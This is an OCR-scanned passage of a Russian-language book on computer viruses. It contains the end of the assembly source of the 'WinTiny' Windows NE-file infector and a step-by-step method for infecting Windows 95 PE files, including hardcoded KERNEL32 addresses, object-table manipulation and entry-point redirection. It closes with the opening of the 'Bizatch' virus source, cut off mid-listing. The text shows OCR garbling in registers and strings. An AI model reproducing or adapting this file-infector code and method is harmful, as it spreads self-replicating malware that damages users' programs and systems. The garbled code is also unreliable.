;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov ex,OFFSET vir_end
eld
rep movsb
push es
pop ds
Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh
Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul ex
mov cx.dx
mov dx.ax
mov ax,4200h
int 21h
;3апишем тело вируса в файл
mov dx, OFFSET temp
mov ex,OFFSET vir_end
mov ah,40h
int 21h
.Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET reloclP
;3апишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov ex, 10
mov ah,40h
int 21h
[Закроем файл
mov ah,3Eh
int 21h
.Освободим выделенный блок памяти
call free
;3апустим программу-носитель
jmp exit
.Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
з*
int 31 h
ret
free ENDP
; Маска для поиска файлов
wild_exe DB "•ЕХЕ-.О
;Имя вируса
DB "WinTiny"
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
.Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)
.Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
; Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
.Перемещаемый элемент
reloc_dataDW ?
DB ?
DB ?
DW?
;3начение оригинальной точки входа
host_cs DW ?
hostJp DW ?
;0бласть памяти для использования
temp DB ?
END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT
и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3.11.
вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL
Функция | Адрес в June Test Release | Адрес в August Test Release |
GetCurrentDir | BFF77744h | BFF77744h |
SetCurrentDir | BFF7771Dh | BFF7771Dh |
GetTime | BFF9DOB6h | BFF9D14Eh |
MessageBox | BFF638D9h | BFF638D9h |
FindFile | BFF77893h | BFF77893h |
FindNext | BFF778CBh | BFF778CBh |
CreateFile | BFF77817h | BFF77817h |
SetFilePointer | BFF76FAOh | BFF76FAOh |
ReadFile | BFF75806h | BFF75806h |
WriteFile | BFF7580Dh | BFF7580Dh |
CloseFile | BFF7BC72H | BFF7BC72h |
Соглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.
Заражение файлов формата PE-executable
Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat.STDCALL
include win32.inc некоторые 32-битные константы и структуры
L equ <LARGE>
;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
Loadlcon equ <LoadlconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
•data
newhwnd dd 0
Ippaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
we WNDCLASS <?>
mbx_count dd 0
hinst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
[Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.",0
.Размер сообщения
MSG_L EQU ($-offset szPaint)--!
.code
;Сюда обычно передается управление от загрузчика.
start:
.Получим HMODULE
push L О
call GetModuleHandle
mov [hlnst],eax
push L 0
push offset szClassName
call FindWindow
or eax.eax
jz reg_class
.Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS